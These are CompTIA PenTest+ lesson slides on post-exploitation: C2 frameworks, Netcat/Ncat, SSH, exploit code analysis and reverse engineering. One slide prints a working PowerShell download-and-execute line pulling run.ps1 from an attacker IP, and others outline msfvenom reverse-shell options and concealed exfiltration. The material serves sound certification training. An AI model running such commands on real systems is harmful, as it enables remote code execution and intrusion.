CompTIA PenTest+

Exam PT0-002

CompTIA PenTest+ Exam PT0-002

Lesson 14

Performing System Hacking

Objectives

- Given a scenario, perform post-exploitation techniques.
- Given a scenario, research attack vectors and perform network attacks.
- Explain use cases of the following tools during the phases of a penetration test.
- Given a scenario, analyze script or code sample for use in a penetration test.

Lesson 14

Topic 14A

System Hacking

Running with .NET and .NET Framework

- When PenTesting, the team will need to be familiar with a variety of software development tools when searching for vulnerabilities
- One example is .NET, a software development framework
  - Open-source, cross-platform - can run on Windows, Linux, and macOS,
  - Provides the basic functionality of the original .NET Framework.
  - Supersedes the original.NET Framework, which is still available and active
- Both .NET and .NET Framework have vulnerabilities that can be leveraged during the PenTest.

Managing Windows with PowerShell

- Windows PowerShell is a scripting language built on the .NET Framework and is the default shell on Windows 10.
  - Offers greater functionality than the traditional Windows CLI.
  - Supports a wide variety of programming elements.
- Can automate the process of exploiting the following:
  - Registry, AD objects, Group Policy, the Windows network stack.

Discovering the Empire Framework

- Empire is a Command-and-Control (C2) framework makes use of PowerShell for common post-exploitation tasks
  - Runs Primarily on Windows, however has a Python component for Linux.
- With Empire, you can run PowerShell agents without needing powershell.exe (a scripting language interpreter).
  - Used to escalate privileges, launch other modules to capture data and extract passwords, and install persistent backdoors.
- Other similar tools worth investigating include NoPowerShell, PowerLessShell, PowerShdll

Covenant and Mythic

- **Covenant** is a collaborative C2 framework that highlights the attack surface of .NET and improves the ability to launch an attacks easier.
    - Covenant can run on Windows, Linux, and MacOS
- **Mythic** is another cross-platform C2 framework
    - Contains different payload types as well as ways to customize them when PenTesting a MacOS

Review Activity: System Hacking

- Outline why the team should be familiar with .NET and .NET Framework
- Describe the Windows PowerShell scripting language
- Outline how the team can use the Empire Framework during PenTesting
- Compare the Covenant and Mythic C2 Frameworks

Lab Activity

Assisted Lab: Using Reverse and Bind Shells

- Lab types
  - Assisted labs guide you step-by-step through tasks
  - Applied labs set goals with limited guidance
- Complete lab
  - Submit all items for grading and check each progress box
  - Select “Grade Lab” from final page
- Save lab
  - Select the hamburger menu and select “Save”
  - Save up to two labs in progress for up to 7 days
- Cancel lab without grading
  - Select the hamburger menu and select “End”

Lesson 14

Topic 14B

Use Remote Access Tools

Exploring with Netcat

- Netcat is a highly versatile command-line utility used to read from or write to TCP, UDP, or Unix domain socket network connections.
    - Can create or connect to a TCP server, act as a proxy or relay, and launch executables when a connection is made
    - Can transfer files, test services and daemons, and port scan.
- Netcat has been ported to most desktop platforms and has inspired similar tools such as Simple Netcat for Android and Ncat
- The basic syntax of Netcat is nc [options] [target address] [port(s)] and has several available options

Monitoring with Ncat

- Ncat is a tool developed for Nmap as an improvement over Netcat.
  - It uses the same syntax when executing commands and has the same options seen in Netcat’s options table.
- Has additional functionality that is key to a penetration tester:
  - It can encrypt communications with SSL so that the traffic is not visible to anyone on the network.
  - Conceals activity such as exfiltrating files or sending commands that could alert defenders or defense systems of your presence

Communicating within a Secure Shell (SSH)

- SSH is a way to securely issue commands and copy files over an unsecured network.
    - By default, you will need a credential to use it and, if configured with higher security levels, also a certificate and keypair.
- SSH is commonly used by system administrators to remotely manage servers and other devices.
- Has multiple features and options, and allows an ethical hacker to perform advanced tasks such as secure tunnels for pivoting

Review Activity: Use Remote Access Tools

- Explain how the team can use Netcat during the PenTest
- Discuss how Ncat has additional functionality that is key to a penetration tester
- Review ways SSH can allow the team to securely communicate during the PenTest

Lesson 14

Topic 14C

Analyze Exploit Code

Downloading Files

- During the PenTest, the team may be tasked with using exploit code to download and execute a script.

- The following is a single line of code that will give us leverage:

```
powershell.exe -c "IEX((New-Object
System.Net.WebClient).DownloadString('http://192.168.0
.100/run.ps1'))
```

1. The first element (powershell.exe –c) tells PowerShell to execute the following command block or script and then exit.

2. “IEX” will execute an element inside the parenthesis which creates a new connection to our specified attacker and download a file called “run.ps1”.

Launching Remote Access

- To gain access to the target, the team may need to create a more advance script using msfvenom. Within the code, you will see:
    - Option –p specifies the payload “reverse_powershell”
    - Option -w hidden hides the window
    - Option –nop tells PowerShell not to load any profile
- The rest of the code is more complex as it uses a while loop to keep alive until it successfully connects
    - Instead of running just once and stopping.

Enumerating Users and Assets

- Enumeration gathers information using a variety of tools and/or C2 frameworks designed for these tasks.
  - One of the most common tools used is Meterpreter, an agent that is part of the Metasploit framework.
- We enumerate users and assets for the following reasons:
  - Users and usernames which could be used to attempt password techniques
  - Assets which could be used to attack and pivot.

Exploiting a WordPress Site

- One way to enumerate users is to use a vulnerable WordPress site
- To achieve this, we can use an exploit script that references a URL.

1. You will need to add the main website to be scanned and it will add some code to the URL adding a known location of a user file.
2. The script will then repeatedly go to the modified URL and copy the information about users.

- This is possible because as people rush to build a website, they often do not take the extra steps to properly configure security.

Locating Exploitation Code

- Today there are numerous databases and collections of exploits you can query and research.
- In some cases, we may find code in a less reputable website or posted by an unknown user.
- Prior to using the code, take into consideration the following:
  - A knowledgeable hacker that can develop an exploit probably has the skills necessary to add harmful code into it
  - Anyone who attempts to utilize the exploit may fall victim to malicious code

Downloading Exploitation Code

- An application that an organization develops, maintains, or uses in-house will probably not have scripts freely available on the internet.
- You may also find exploitation code difficult to find in the following situations:
  - Recently patched version is no longer vulnerable to known exploits
  - Uncommon/less known software and no publicly available exploits
- For scenarios like these, you can use specific analysis techniques on compiled software to see if you can compromise any applications.

Breaking Down a Program

- Reverse engineering is the process of breaking down a program into its base components in order to reveal more about how it functions.
- If you don't have access to an app's source code, you may be able to capture information about the app during execution.
    - This can enable you to reverse engineer the app to look for potential weaknesses in design, programming, or implementation.
- When it comes to software, there are three primary methods of performing reverse engineering:
    - Decompilation, disassembly and debugging

Decompiling a Program

- Translates an executable into high-level source code.
- Decompiling a program can help you:
  - Recover lost source code, as well as examine malware.
  - Perform static code analysis to correct errors.
  - Help determine whether the app's logic will produce unintended results
- Some apps are easier to deconstruct than others.
  - However, some languages and third-party tools are designed to obfuscate source code before it is compiled.

Disassembling the Source Code

- Translates low-level machine code into assembly language
- Disassembly is a deterministic process, in that, a machine code instruction will always translate to the same assembly instruction.
- However, there are disadvantages when compared to decompilation:
    - Assembly is not as concise as high-level code: it is more repetitive, and the linear flow of the code is not as well structured
    - The process requires knowledge of assembly, which not many people possess.

Debugging Software

- Manipulates a program's running state to analyze it for bugs, vulnerabilities, and other issues.
  - You can step through, halt, or otherwise modify portions of the program's underlying code, directly affecting the program as it executes.
- Enables the team to perform static and dynamic analysis on the program to see its effect.
- Makes it easier to understand how an app functions and how it might be vulnerable.

Software development Kit (SDK)

- A package of tools dedicated to a specific programming language or platform commonly used by developers while creating applications
  - An example is the development kit for Windows and its debugger, WinDbg.
- Can contain other elements that you can leverage during your assessment
  - You can develop and compile your own tools for a particular programming language or platform.
- There are several popular disassembler/debugger tools that include: Immunity Debugger, WinDbg, Ghidra, and Covenant

Review Activity: Analyze Exploit Code

- Describe methods the team can use to download files
- Explain how scripting can be used to achieve remote access
- Discuss why the team would enumerate users and assets
- Review considerations when downloading exploitation code
- Outline methods to break down a program to reveal more about how it functions
- List components of a Software development Kit (SDK)

Lab Activity

Assisted Lab: Analyzing Exploit Code

- Lab types
  - Assisted labs guide you step-by-step through tasks
  - Applied labs set goals with limited guidance
- Complete lab
  - Submit all items for grading and check each progress box
  - Select “Grade Lab” from final page
- Save lab
  - Select the hamburger menu and select “Save”
  - Save up to two labs in progress for up to 7 days
- Cancel lab without grading
  - Select the hamburger menu and select “End”

Lesson 14

Summary